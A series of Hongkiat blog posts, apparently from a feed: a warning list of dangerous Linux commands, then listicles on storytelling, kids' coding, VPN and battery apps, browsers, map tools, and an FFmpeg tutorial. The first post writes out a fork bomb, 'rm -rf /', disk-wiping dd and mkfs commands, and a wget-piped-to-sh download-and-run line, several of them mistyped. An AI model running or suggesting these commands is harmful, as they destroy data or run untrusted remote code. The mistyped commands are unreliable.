In some cases, Linux won’t even ask you for confirmation; rather, it will execute the command right away, causing you to lose valuable data and information stored in these files and folders.

It is common for people to post content on the web recommending that new Linux users execute these commands. This might seem like a joke to the person who posted the content, but it’s no laughing matter for the person on the receiving end.

We’ve gathered some Linux commands that are quite harmful to your system to help you avoid them. Do keep in mind that they are indeed dangerous and can be altered in a variety of ways to produce new commands that inflict more damage.

An important thing to note is that some of these commands are only dangerous if they are prefixed with sudo on Ubuntu. On other distributions of Linux, most of these given commands will be dangerous to execute as root.

Take a look at the 9 commands and codes you should avoid executing.

1. Linux Fork Bomb Command

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

2. mv folder/dev/null Command

mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.

3. rm -rf command

rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system. The most common combinations and options used with rm-rf command are listed below:

• rm command is used to delete the files in Linux system.
• rm -f command removes read-only files in folder without prompting.
• rm -r command deletes the content of a folder recursively.
• rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
• rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
• rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
• rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
• rm -i command is used for removal of files and folders but a prompt will appear before removal.

4. mkfs command

mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

All the commands mentioned below will format the hard drive and it requires administrator rights:

• mkfs
• mkfs.ext3
• mkfs.bfs
• mkfs.ext2
• mkfs.minix
• mkfs.msdos
• mkfs.reiserfs
• mkfs.vfat

The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.

5. Tar Bomb

The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command.

It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.

You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.

If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

6. dd command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.

The command may be any one of these:

• dd if=/dev/hda of=/dev/hdb
• dd if=/dev/hda of=/dev/sdb
• dd if=something of=/dev/hda
• dd if=something of=/dev/sda

The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

8. Malicious Source Code

Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.

The post 9 Dangerous Linux Commands You Should Avoid appeared first on Hongkiat.

Digital storytelling is accomplished by combining narration with digital content such as animation, stills, audio, etc. It is very popular these days in schools and educational institutions around the globe. In this post, we discuss ten free tools for creating digital stories for your own purpose in the classroom.

1. StoryJumper

StoryJumper is a convenient tool that helps you write and illustrate stories by using a set of intuitive and built-in tools. You can use the available photos and graphic art already in the StoryJumper database, or you can upload your own photos as background scenes and graphic art to create a more customized story.

You can publish your book online for free, or you can order your book in print form in a hardbound book starting from the cost of $24.95.

2. Plotagon Story

Plotagon is a unique storytelling app through which you can create yourself an animation movie out of your own voice. It combines gaming technology and animation into one customizable storytelling tool that lets you create interesting scenes.

To create your animation, you first develop your avatar or character (from a variety of options for physical features and outfits) and download pre-made scenes that you’d require your character to be in. Now simply record dialogue in your own voice and add to the animation.

From budding voice-over artists to filmmakers, Plotagon is helpful in creating lively storyboards and animations. Apart from adding your own voice, you can add sound effects and music to your animations as well.

3. Buncee

Buncee lets you create interactive content for teaching, project pitching, or idea presentation, etc. It hosts thousands of pre-made templates from different categories. You can customize the templates to a good extent to give the animation your own touch.

The content you create with Buncee can be easily shared with others through links, uploaded on boards, or can be downloaded as JPG or PDF. Moreover, the intuitive dashboards allow you to send assignments, share feedback, and promote discussion and engagement.

4. Little Bird Tales

Little Bird Tales offers a simple and easy way to create a digital story. It works equally well for educators, professionals, or kids who want to experiment with their creativity.

It is really easy to create a tale, just add your own artwork by drawing it yourself or uploading an image (from your computer or gallery of images), record your voice commentary, and add it to the artwork. That’s it, you’ll have a quality animation created in no time.

You can embed the created take in your website, share it through a link, or save it on your device. You can also put ti up for public viewing right on the app. For teachers, there’s also an option to manage classes or students or assign lessons.

5. Pixton Comic

Make learning more interactive and exciting through Pixton. You can create avatars with so many customization features and create different kinds of animations for different situations. Once done, you can print or share your work online.

Though the app can be used by anyone, it is especially ideal for teachers to let their students learn through creative means. It offers a simple student dashboard for young learners to access the shared content or create their own.

6. Animaker

Animaker is a leading storytelling app that’s been around for a while and is used by thousands of individuals and companies. It offers an easy-to-use drag-and-drop editor for creating animated clips, adding text, effects, and other features.

It lets you create your own characters and use them from among millions of stock images and videos. Plus, there are many high-quality pre-made templates that you can use in your projects. There’s also an option of resizing your content for different social platforms.

7. Elementari

Elementari is an online platform for creating graphic, animated, or interactive e-books. You can add your voice-over, different sound effects, and interactive graphics in your books.

The platform hosts thousands of illustrations, high-quality animations, and an array of community-contributed background music and sound effects. Interestingly, you can even let your audience choose an ending of your book with interactive elements.

8. Imagine Forest

Imagine Forest is a story creator app that anyone can use for any purpose. It lets you develop interesting narratives by offering soy ideas, inspiring story starters, and daily story challenges.

An interesting feature of Imagine Forest is the Story Generator tool. You can create unique stories by yourself or through collaboration through the Random Complete feature that takes your story forward to make it captivating.

There are also many guides and tutorials to help you improve your storytelling, including vocabulary-improving features and short writing activities. The app is completely safe for kids and a great teaching resource for parents and teachers.

9. My Storybook

Budding writers of all ages can use My Storybook tool to create stories that are interesting and unique. It offers you to create narrative structure, develop your characters, and deal in many genres, including prose, poetry, fantasy, etc.

Moreover, you can add illustrations with your stories to make them more interesting for readers. There are also story starters and options to get your story in the print version.

10. Storyboard That

Storyboard That is a really easy-to-use platform. For digital storytelling through high-quality storyboards. There are different templates to choose from, including worksheets, posters, and storyboards. You can pick from one of the pre-made storyboards or create one on your own through the drag-and-drop editor.

Apart from storyboards, you can use it to create graphic novels, comics, and ebooks as well as video presentations and posters etc. There are also many lesson plans and activities for young learners to interact with.

More story-telling tools:

• Make Beliefs Comix
• i-Theatre
• Scratch
• Cuenta Cuentos
• Green Screen by Do Ink
• Story Creator
• Nawmal for Educators
• Animoto
• Storyboarder

The post 10 Free Tools For Digital Storytelling appeared first on Hongkiat.

This will not only develop the analytical programming skills of kids at an early age but will also help them get an idea of whether they want to become a programmer in the future. Here we’ve put together for you ten educational tools that can be used to teach and develop programming skills in kids. Most of the listed tools are based on a visual programming language with a drag-and-drop programming interface. These colorful and engaging tools will ultimately help build up your child’s programming skills.

Hopscotch

Hopscotch says that programming is designed for everyone. By using Hopscotch, you can teach the basics of programming to your kid easily. You can only download the Hopscotch app for free on the iPad.

Hopscotch allows your kids to develop their own games, stories, animations, and many other interactive programs by dragging and dropping blocks of code. One can shake, tilt, or even shout at the iPad to control the characters in the program.

Scratch

Scratch is a programing language and online community, which is developed and maintained by the Lifelong Kindergarten group at MIT Media Lab. Scratch is a free-to-use service, and it allows your kids to create their own animations, games, and stories.

Your kids can share their creations with others worldwide using the online community of Scratch.

Alice

Alice is a free-to-use 3D programming tool that allows one to create animations for telling a story, playing an interactive, or a video to share on the web. The main purpose of Alice is to give your kids basic exposure to object-oriented programming.

Using Alice, students will learn to create animated movies (containing people, animals, and vehicles) and simple video games.

Tynker

Tynker is an online programming learning system designed to motivate kids to translate their creative ideas into games, projects, and animated stories and circulate their apps on the web.

Tynker uses an easy visual programming language in which no programming syntax is required, but only blocks of codes are combined to create programs. There’s a fee for lifetime access, but they offer online self-paced courses, mobile puzzles, and summer camps as well.

Kodable

Kodable is a free to use programming app for iPad. The tagline, “Learn to code before you know how to read” is embodied through their method of learning programming through a fun game.

Kodable is specially designed for kids aged five years or above, so that they can learn programming by playing games with little instructions. Kodable has three levels of programming, including K-2nd grade, 3rd – 5th grade, and 6th – 12th grade.

Stencyl

Stencyl is fast, free, and convenient. It allows you to develop games by using a drag and drop (block-snapping) interface, and no coding is required at all.

If you do not want to use the block-snapping interface, then you can type in code as well. Stencyl has extensive platform support, and games developed on Stencyl can be played on Android, iOS, Windows, Mac, and Linux, too.

codeSpark Academy

Kids lead their coding journey with codeSpark Academy. The #1 learn-to-code app for kids ages 5-10 allows them to play fun, interactive puzzles or create and code their own stories and games.

In addition to being a go-to coding program for kids at home, codeSpark Academy is also available in public schools, libraries, and nonprofits, with a presence in more than 1/3 of the school districts in the United States.

With over 30 million kid coders and counting, codeSpark Academy is building the next generation of coders and creators, one game at a time.

RoboMind

RoboMind is a programming tool for kids which uses its own language called ROBO. It is a very simple language that does not require any previous knowledge of programming.

The main objective of RoboMind is to move a virtual robot on a two-dimensional grid and perform simple tasks. By using RoboMind, your kids can learn the basics of artificial intelligence and later on even use it on real robotic kits such as LEGO Mindstorms NXT 2.0. RoboMind gives a 30 day free trial of their tools.

Waterbear

Waterbear is a convenient and free-to-use programming toolkit for kids, which uses a drag-and-drop approach for programming purposes. Waterbear is a visual programming language, which means there is no need to learn syntax to start programming with it.

Kids can create a new file, look at examples of other creations and play around with the different features, among other things. There are even descriptions for each element that is easy to follow as well.

The post 10 Tools to Teach Kids Basics of Programming appeared first on Hongkiat.

Not everyone knows how to use it though and for that purpose, I’ve come up with this guide on how to use FFmpeg for Windows OS. From the very first step of downloading the program to cropping an audio file, this tutorial aims to help you cover the basics, so that you can play around more later on.

Downloading FFmpeg for Windows

To download the tool, click here to go to the webpage. Once you’ve done that locate the download option, as shown below. The download option highlighted in green is for 32-bit Windows OS while the other option in red is for 64-bit Windows OS.

To verify if your OS is 32-bit or 64-bit, click on the Start icon on the left side of your desktop then type Run in search bar and in run write the command of dxdiag and press the Enter key.

Under the heading of ‘System Information’, you can easily find the name of the OS and the version being used (32-bit or 64-bit).

Extracting the files

Once you have downloaded FFmpeg, you’ll have to extract the files from the .zip folder. For this purpose, you should have a zip extractor installed. You can download a free zip extractor called 7-zip from here.

After extracting the files, select all of the files, create a folder in C drive named FFmpegTool and paste all the files in this folder as shown below. It is important to note that you should keep the folder name and drive the same to avoid any problems in executing commands to perform conversions.

Starting FFmpeg

Go to Run, type cmd and press the Enter key. A command line window will appear as shown here.

Type cd\ and press the Enter key. It should appear as below.

Now type cd FFmpegTool, this command will allow you to enter into the FFmpegTool folder which we have created earlier (be careful with the spelling as any spelling mistake in command will cause an error).

Type cd bin and press the Enter key to access the content in the bin folder. You should see the following.

Finally, type ffmpeg.exe and press the Enter key. It will take 1 or 2 seconds to execute the command and you should be able to see the result shown below.

If you see text lines written on your screen (as per the above image) then it means the tool is working fine and ready to use.

Some important FFmpeg commands

Now, we’ll go through some of the important commands for FFmpeg. Copy the video in the bin folder on which you’ll perform the operations. I have copied a video called samplevideo and will use this video throughout the remainder of this post.

1. Extracting audio-only from video file

Once you have tested that FFmpeg is working fine then type in the following command:

ffmpeg -i yourvideoname.mp4 -vn -ab 128 outputaudio.mp3

Here -vn is used to extract audio and -ab is used to save audio as 128Kbps MP3 file. You can change the bit rate to 256Kbps or something else. Just change the value after -ab. All of the output files will be stored automatically in the bin folder.

2. Extracting video while muting audio

In the command written below, -an is used to remove the audio from the video file. The command should look like so:

ffmpeg -i yourvideoname.mp4 -an mutevideo.mp4

3. Resizing video file

In the command written below, -s is used to resize the video file.The command is:

ffmpeg -i yourvideoname.mp4 -s 640x480 -c:a copy resizedvideo.mp4

4. Adding poster image to an audio file

You can add a poster image to your audio file easily and the output would be a video file with an image being displayed in the front and audio in the background. This is really handy when uploading MP3 files to video hosting and sharing sites.

You must copy the image in the bin folder. Then execute this command:

ffmpeg -loop 1 -i inputimage.jpg -i inputaudio.mp3 -c:v libx264 -c:a -strict experimental -b:a 192k -shortest outputfile.mp4

5. Cut video file into a smaller clip

The -ss defines the starting time stamp (here starting time is the 45th second) and -t tells the total time duration for the clip. So, -t 40 means 40 second duration. The command should like this:

ffmpeg -i yourvideoname.mp4 -ss 00:00:45 -codec copy -t 40 outputclip.mp4

6. Split a video file into multiple parts

Most of the hosting servers only allows for a specific size of file to be uploaded. To overcome this issue, you can use the split command to split a large video file into smaller parts, which is:

ffmpeg -i yourvideoname.mp4 -t 00:00:59 -c copy part1.mp4 -ss 00:00:59 -codec copy part2.mp4

Here -t 00:00:59 represents a part that is created from the start of the video to the 59th second of video. -ss 00:00:59 shows the starting time stamp for the video. It means that the 2nd part will start from the 59th second and will continue up to the end of the original video file.

7. Convert a video file from one format to another

You can see all of the formats supported by FFmpeg by using the following command:

ffmpeg -formats

To convert a video file from one format to another format, the following command is used:

ffmpeg -i yourvideoname.mp4 -c:v libx264 outputfilename.wmv

The command below is an example of when converting a .mp4 file into a .wmv file.

8. Join (merge) multiple video files

FFmpeg can also join multiple video or audio files with the same codecs. Create a .txt file including a list of all the input video files that are supposed to be merged. The keyword file is followed by name, path and the format of the video files. Add all of the files in the same way in the created .txt file and save this .txt file in the bin folder.

Now type the following command to join the video files:

ffmpeg -f concat -i file-list.txt -c copy outputfile.mp4

9. Cropping and audio file

To crop part of an audio file, the following command can be utilized:

ffmpeg -ss 00:00:15 -t 45 -i sampleaudio.mp3 croppedaudio.mp3

Here, -ss 00:00:15 is the staring time and -t 45 is the duration of the cropped file.

Alternatively…

While FFmpeg is great, this free tool still may have some limitations that wouldn’t do what you need to do.

WinX HD Video Converter, on the other side, is a GPU-accelerated HD video converter that not only converts media files but also allows you to cut/merge, resize videos, etc. Do check it out.

Conclusion

We’ve covered downloading and installing FFmpeg as well as some of the useful commands that you can use. You can explore the rest of the commands via the help option of FFmpeg. Just type in ffmpeg -h in command line. This will list all the available options and commands for these options. So why don’t you try it out for yourself?

The post How to Convert Media Files With FFmpeg appeared first on Hongkiat.

As an Android user, you do have a way around it that involves using VPN apps. Though there are hundreds of them available in the market, this post lists some of the best and free VPN services for Android. You can read about each item and its particular feature in the following.

Atlas VPN

Atlas VPN gives you seamless access to the internet on your Android device with complete anonymity and privacy of users. Supported by a number of servers worldwide, you can be assured of the speed and privacy of online browsing.

You can use an unlimited number of devices with a single account and use different features like split tunneling, strong encryption, ad-free VPN experience, global access, and no logs.

Hotspot Shield VPN Proxy

With approximately 330 million downloads around the globe, Hotspot Shield is at the top of the list. Apart from traditional features found in any VPN app, it provides banking-level HTTPS encryption to secure the WiFi connection so that the outgoing data can be protected from eavesdroppers.

SecureLine VPN

SecureLine VPN is a nice app developed by Avast. They are famous for developing one of the best antiviruses worldwide. The private VPN Tunnel of SecureLine VPN encrypts the data using IPsec protocol which makes it really tough for hackers to snip the data through public WiFi hotspots. The app will perform all this work for you with just a click.

Speed VPN

Speed VPN is an app that allows one to connect to the Internet through servers located at multiple geographical locations. It is designed for web browsing by unblocking geographically restricted sites and viewing low-resolution videos. Each session of Speed VPN lasts for 60 minutes and it can be reconnected with a click.

Super VPN

Super VPN is an easy-to-use Android app with approximately 5 million installs around the globe. It encrypts the traffic to keep transmitted and received data safe from 3rd party tracking without having to register or configure the device’s settings. Just a single click will enable you to use the Internet and browse websites anonymously.

Hideman VPN

The main feature of Hideman VPN is to secure the transmitted data as much as possible, and for this purpose, the algorithm uses a 256-bit encryption key. This scrambles the original data so that if anyone is monitoring it, they wouldn’t be able to understand it without the key. The app offers five free hours per week, although premium hours can be earned via in-app ad networks.

The app offers five free hours per week, although premium hours can be earned via in-app ad networks.

Touch VPN

Touch VPN encrypts data using a Secure Socket Layer (SSL), which maintains a secure and encrypted link between server and client. The app also helps conserve the battery of the device in comparison to other VPN Apps. This makes it great for those looking for an app that offers these two features.

Flash VPN Proxy

The Flash VPN Proxy app provides a secure and encrypted VPN network to make sure that all your incoming and outgoing data remains intact from hackers and data stealers.

The best thing about it is that you can use it smoothly because it offers a decent amount of bandwidth for communication, which is only often offered by premium apps. On top of that, there is no limit to how long you can connect.

CyberGhost

CyberGhost is a nice app that provides banking-level security. Usually, people have concerns that the apps might access their personal information that’s available on the device; CyberGhost respects the privacy of its users and does not access any personal information.

The free version of the app provides access to 23 servers located in 15 countries, while the premium version gives access to 300 servers in 23 countries.

Tigervpns Android VPN

One-Click Android VPN is an app to protect one’s privacy and hide the source IP address. It offers up to 500MB of free-trial traffic upon signing up.

Psiphon

Psiphon provides a simple way to easily access everything available on the Internet with a secure VPN tunnel. Users can also explicitly define whether to tunnel everything or just the web browser.

Zero VPN

Zero VPN is an app that allows you to use VPN services at zero cost with no difficulty. The interface is easy to use, which facilitates surfing the Internet anonymously.

VPN Master

VPN Master is one of the top VPN apps for anonymous Internet usage that doesn’t require registration. It also allows you to choose any server in America, Europe or Asia with 99.9% uptime.

hide.me

Hide.me VPN offers high speed, strict privacy, and reliable security to Android users. You can use it to bypass hurdles like online content censorship and geo-restrictions for a seamless browsing experience.

The app does not store online activity logs and offers a Multihop double VPN feature that ensures better speed and connection to 2000+ fast and secure servers worldwide. It is also really easy to set up and use.

Windscribe

An easy-to-use VPN app, Windscribe helps you unlock most geo-restricted or censored online content. Its main features include Split Tunneling, Data Encryption, and different protocols to choose from.

The app doesn’t make you mess up with the settings and you just need to turn it on to block ads and trackers, encrypt your online activity, and connect to servers in over 63 countries.

The post 15 Free Android VPN Apps to Surf Anonymously appeared first on Hongkiat.

You probably won’t be impressed with this image if it was a photograph, but realizing that it is a painstakingly hand-drawn painting instead might boggle your mind.

Can you believe the amount of attention to detail this painting needs of its artist? In this post, we are showcasing the artworks of dozens of hyper-realists who are displaying amazing talents in photorealism – or in other words, they are very talented painters who create oil paintings that make your jaw drop.

We are crediting all of the images below straight to the artist’s personal websites, so you can find more of their amazing work or even purchase their paintings if you so desire.

#1 – @Tom Martin

#2 – @Jason De Graaf

#3 – @Young-Sung Kim

#4 – @ Tjalf Sparnaay

#5 – @Dennis Wojtkiewicz

#6 – @Patrick Kramer

#7 – @Tigran Tsitoghdzyan

#8 – @Lisa Ericson

#9 – @Mike Dargas

#10 – @Keng Lye

#11 – @Pedro Campos

#12 – @Roberto Bernardi

#13 – @ Keng Lye

#14 – @Alyssa Monks

#15 – @Ivan Hoo

#16 – @Joshua Suda

#17 – @DiegoKoi

#18 – @Raipun (Christiane Vleugels)

#19 – @Richard Estes

#20 – @Glennray Tutor

#21 – @Gregory Thielker

#22 – @John Baeder

#23 – @Dough Bloodworth

#24 – @Jacques Bodin

#25 – @Paul Cadden

#26 – @Nathan Walsh

#27 – @Alvin Richard

#28 – @Lisa Ober

#29 – @ Sharon Moody

#30 – @ Steve Mills

#31 – @ Bryan Hible

#32 – @ Ralph Goings

#33 – @Audrey Flack

#34 – @Jelaine Faunce

#35 – @Paul Rousso

The post 60 Stunning Hyper Realistic Paintings That Look Like Photos appeared first on Hongkiat.

While many of these suggestions are useful, some can be quite amusing or even controversial. That’s why we’ve put together this list of over 30 funny and bizarre Google suggestions. Trust us, this post practically writes itself.

These quirky suggestions reveal one thing: people search for the strangest things when they think no one is watching.

Why isn’t 11 Pronounced onety one

Why is My Goldfish Turning Black

Why Do Men Like Boobs

Why Can’t I Poop

Why Can’t I Own a Canadian

Where to Donate a Testicle

When I Jump I Wet Myself

Whats a Boyfriend and Where Can I Download One

What is the Answer to Life the Universe and Everything

What If Google Was a Guy

What Does It Mean When Your Poop Floats

What are These Strawberries Doing on Google

How Do I Google Something

How Do I Convert to PDF

How Come Cupcake Is Not Considered a Mineral

Help I’m a Prisoner in a Chinese Bakery

Google Will You Marry Me

Google Will Eat Itself

Do You Ever Look at Yourself in the Mirror and Think What Wattage

Don’t You Hate it When a Sentence Does Not End the Way it Octopus

Don’t You Hate It When a Chinchilla Eats the Universe

Is It Normal to Eat Period Blood

Is It Possible to Live Forever

My Girlfriend is a Gumiho

Never Put a Sock in a Toaster

Sometimes I Like to Pretend I’m A Carrot

Do Men Have Periods

Dinosaurs Were Made Up by CIA

Did You Have a Brain Tumor for Breakfast

Cats Like Hitler

Can a Human Get Pregnant by an Animal

7 Times 14

Is It Impossible to Lick Your Elbow

Is It Bad If Your Poop Floats

If I Ate Myself Would I Double in Size

I Ate a Big Red Candle

How Do I Quit My Job

What Would Happened If There Was No Google

The post The Most Hilarious Google Search Suggestions You’ll Ever See appeared first on Hongkiat.

So, in this post, we are featuring 15 web browsers for Windows that you may not know of. They could potentially make your life a whole lot easier. Let’s take a look!

Midori Browser

Midori is a free, fast and lightweight web browser which is specially designed for users concerned about their privacy.

By default, it allows users to search through DuckDuckGo. It uses GTK+2 interface and WebKit rendering engine.

Maxthon Browser

Maxthon is a cloud browser with a unique dual-core design, which uses both Trident and Webkit. It offers cloud services, modes that make it easier for reading and features to make web browsing more convenient .

It even provides easy screen grabbing and has great security and privacy functions.

Yandex.Browser

Yandex.Browser is a very simple and user-friendly browser based on the Chromium technology platform. It loads the webpages very quickly and provides plenty of space for viewing webpages.

It provides a cloud-based safe browsing technology with a Kaspersky Lab security solution.

Dooble Browser

Dooble is a new open source and multi-platform web browser launched in September 2009. Dooble aims to provide improved privacy and usability. Currently, it is available for Windows, OS X, Linux and FreeBSD.

Along with other features, Dooble has a built-in easy-to-use download manager and it can also support third-party plugins as well.

Coowon Browser

Coowon is a Google Chrome-based browser and specially designed for gamers. It has some features that are perfect for online gaming such as performing automated tasks, recording and playing for mouse clicks, Gamepad Support and controlling your game speed while you play games.

NetGroove Browser

NetGroove is a light, fast and tabbed browser based on the Internet Explorer Engine. The main feature of this web browser is that you can use it directly from your flash drive without having to install it.

Epic Browser

Epic is an Indian-based web browser which is powered by Mozilla. It provides you the latest films and songs, live cricket scores, news from multiple sources such as regional and Hindi language sources.

While surfing the Internet on Epic, no one can track what you browse and what you search.

QT Web Browser

QT Web Browser is a portable, secure, fast and lightweight web browser with a unique user interface. It is an open-source software based on Nokia’s QT framework and Apple’s Webkit.

Browzar Browser

Browzar is a privacy-oriented web browser that does not save browsing History, Cookies, Temp files, Passwords, Cache etc.

It is suitable for cloud and banking applications. Once you have finished your work and closed the browser, it cleans up automatically.

SlimBrowser

SlimBrowser is fast, secure, and powerful. It is one of the best web browsers for Windows in terms of time saving. It has an intelligent form filler which lightens the burden of completing web forms.

It has a built-in ad filter and pop-up killer that eliminates annoying advertisements very efficiently.

Avant Browser

Avant web browser has a very user-friendly interface, and it is totally free with no advertisements and malwares. It is a multi-processing and lightweight web browser.

It has a built-in download accelerator and video sniffer, which lets you detect and download the videos from the current webpage. It has features ranging from private browsing to a flash animation filter.

Superbird

Note: Superbird is no longer available.

Superbird is a free, fast, and alternative option to Google Chrome. It’s main emphasis is on speed, data security and stability.

This lightweight web browser with auto-update functions comes with various plugins. It has improved privacy as no data is sent to Google or other third parties.

Comodo IceDragon Browser

Comodo IceDragon is a secure, fast and feature-rich browser based on Firefox. It comes integrated with Comodo security.

It scans webpages for malware. Comodo IceDragon is fully compatible with all Firefox plugins.

Lunascape Browser

Lunascape is a free web browser which harnesses 3 popular rendering engines (Trident, Gecko, WebKit).

By clicking on the smart engine-switch button, one can easily switch the rendering engine from any of the ones included for any webpage displayed on the browser. This browser is ideal for technology geeks and web developers.

TORCH Browser

TORCH browser is free like the other ones featured here. By using TORCH browser, you can easily search and share photos, videos and links in just one click and can download your favorite videos in a single click by embedded video grabber. Great for those of you who want to keep and share your memories.

The post 15 Alternative Windows Web Browsers You Didn’t Know appeared first on Hongkiat.

But if you’re having an Android phone and you want to boost it’s battery or want to know about the ways to save it for longer battery life, take a look at these useful Android apps for longer battery life. These apps come with features like battery boosters, saving modes, battery monitors and preformance optimizers. So read on to know which app would suit you best.

dfndr battery

dfndr battery app offers a variety of ways to conserve your phone’s battery life. It is equipped with some powerful features that optimize your phone to save as much battery juice as possible without affecting its performance.

Some of its most interesting features include super optimization that closes inactive applications running in the background, battery cooler that keeps the temperature of your battery cool, charge monitor that offers real-time information about your phone’s battery life, and screen saver that shuts off up to 33% of your screen’s light output without compromising visibility.

Kaspersky Battery Life

Kaspersky Battery Life is the app that not just saves your phone’s battery but boosts it by monitoring every app that is running on your phone. It gives you complete control over your phone’s battery life performance by keeping you informed through active alerts.

With this app, you get notified about any app that suddenly starts consuming more battery than others so you can take suitable action. It also gives an accurate prediction of how much charge is left in your device’s battery — in hours and minutes – so you don’t keep worrying about it all the time.

GO Battery Pro

GO Battery Pro comes with certain advanced features that tell you how long your phone’s battery will last under a variety of situations like; video watching, music listening, Wi-Fi/Bluetooth on or off, etc.

Interestingly, the app also offers some cool features like power-saving modes, smart saving, toggle control, power testing, charge boost, system junk cleaning, daily power consumption report, etc. Moreover, the app finds and fixes battery power consumption problems, entending your standby time with just one click.

Avira Optimizer

Avira Optimizer offers a two-in-one app that not just helps you save your phone’s battery juice but also provides effective memory cleanup, RAM booster, and junk cleaning.

What I like about this app is its one-tap boost feature that improves the responsiveness of your phone coupled with the battery saver functionality that lets you extend your battery life.

Green Battery

A battery saver app with multiple advanced features, Green Battery has everything you need to boost your phone’s power performance.

The thing I like the most about it its simple and sleek interface, which shows you different power saving modes and lists the apps on the basis of their battery consumption. It also shows the accurate power status of your phone and the remaining battery time, so you know how to make the best of it.

Flip & Save

Flip & Save is a free battery saver app that analyses your battery charging data and gives you all the information that you need to optimize your phone’s battery for better performance.

The coolest thing about this app is the way it is used i.e., you flip your phone down to turn the saving mode on. Else, you can go to the app’s settings and turn on/off some of your mobile phone functionalities to save more battery consumption levels straightaway!

AccuBattery

AccuBattery app gives you just the right information to monitor how much battery your phone is using. It tells you how long you can use your device when it’s active or in standby mode, so you don’t have to hang around a charging station all the time.

I am personally impressed by the ‘charge speed’ feature of this app that enables you to check how fast your device is charging as well as finding the fastest charger and USB cable for your device by measuring the charging current.

Battery Monitor

If you want to monitor the battery temperature and power level of your phone in real-time, then the Battery Monitor app will be quite useful for you.

The best feature of this app includes one tap boost, RAM, CPU, and battery widget, desktop floating window, status bar floating window, over-heat alarm, and multiple themes to choose from.

Fast Charging

Fast charging app is another efficient tool to boost your phone’s battery life and optimize its power performance. By removing background apps and unnecessary connections, the app gives you fast charging and optimal solution for your phone.

With just one click, you can clean the RAM, turn off Wi-Fi, Bluetooth, screen rotation, and reduce screen brightness. Simple, isn’t it!

Battery Booster Lite

A multi-featured battery saver app that works for both Android and iOS, Battery Booster Lite gives you a power management tool with real-time battery usage tracking. It offers different battery saving modes as well as a quick network and screen control option to deal with different battery wasting situations.

2 Battery

2 Battery has some handy features that can help you save your battery. It does this by employing a smart algorithm to turn the Internet connection on/off.

It can also reduce the screen brightness by using a built-in screen filter and even turns off the screen automatically when you put the phone into the pocket or on the table. You can also try the PRO version of 2 Battery for 24 hours and even get a refund if you’re not satisfied.

The post 10 Android Apps to Manage Phone’s Battery Consumption appeared first on Hongkiat.

Sure, there’s Google Map and Google Earth to help you out but there are actually other tools to choose from as well. Here we’ve gathered ten free amazing tools that you can use to create your own maps. From maps that are conveniently made for sharing to ones that are quite interactive, the selection below has a range of things to satisfy your mapping needs.

Map Chart

Map Chart is a tool that allows you to create professional-looking custom maps for your school or work project or presentation. You can choose a single country, a region, a continent, or the entire world to create a map from.

Creating a map through this tool is pretty easy. Just click any country or region on the map and change its color, then add the title and description for it, and finally preview the map that you created and download if it’s final. You can also use patterns, hide any country or region and zoom into any specific area.

SnazzyMaps

A repository of different styles for Google Maps, SnazzyMaps is a map creating tool specially designed for web designers and developers. There are different styles to choose from, including default (Google Map-style), dar, light or monochrome, etc.

The process of creating a map through SnazzyMaps is pretty straightforward. You go to their Map builder page, enter the required information (style, size, markers, and language) in their respective fields, and that’s it. You can save and use these maps for any personal or commercial project, for free.

Mapme

A tool that allows you to make interactive maps, Mapme is simple and easy to use. To use this tool you don’t need to be a programmer or GIS expert, Just use the feature-filled editor to create or customize an interactive map.

The thing I like the most about Mapme is that the maps you create with this tool are optimized for mobile by default. Also, you can embed these interactive maps in your website and even get its print-friendly version.

Maptive

Maptive tool gives you the simplest and fastest way to create detailed maps on the basis of your spreadsheet data. It has a simple interface that anyone can use and is powered by Google’s enterprise-level mapping technology that offers global coverage.

In the Maptive editor, just upload your location-based data and the software does the rest of the work. The maps created can be embedded in your website, used in any mobile app, and can also be printed for use.

Animaps

Animaps is no longer in service.

If you’re looking to create and view beautifully informative animated maps then this is the tool for you. Animaps basically extends the My Maps feature of Google Maps so that you create maps with markers that move, lines and shapes that change over time, and images and texts that pop up on cue. The final result is an animated map.

If you send an Animap to your friends, then it will display like a video which they can play, pause, slow and speed up. It’s simple to learn if you go through the basic tutorials. You can easily sign up for a new account on Animap or even sign up via your Facebook account.

Scribble Maps

Scribble Maps is a mapping tool that provides a comfortable platform for drawing and sharing maps. Using this tool, you can easily add custom images, place text and markers, draw shapes, calculate distance, save a map in PDF format and much more.

You can also send maps to your friends or embed them on your website. The basic Scribble service is free while Pro Scribble Maps allows you to import KML files, spreadsheets, and SHP files at a certain price.

Click2Map

Click2Map is no longer in service.
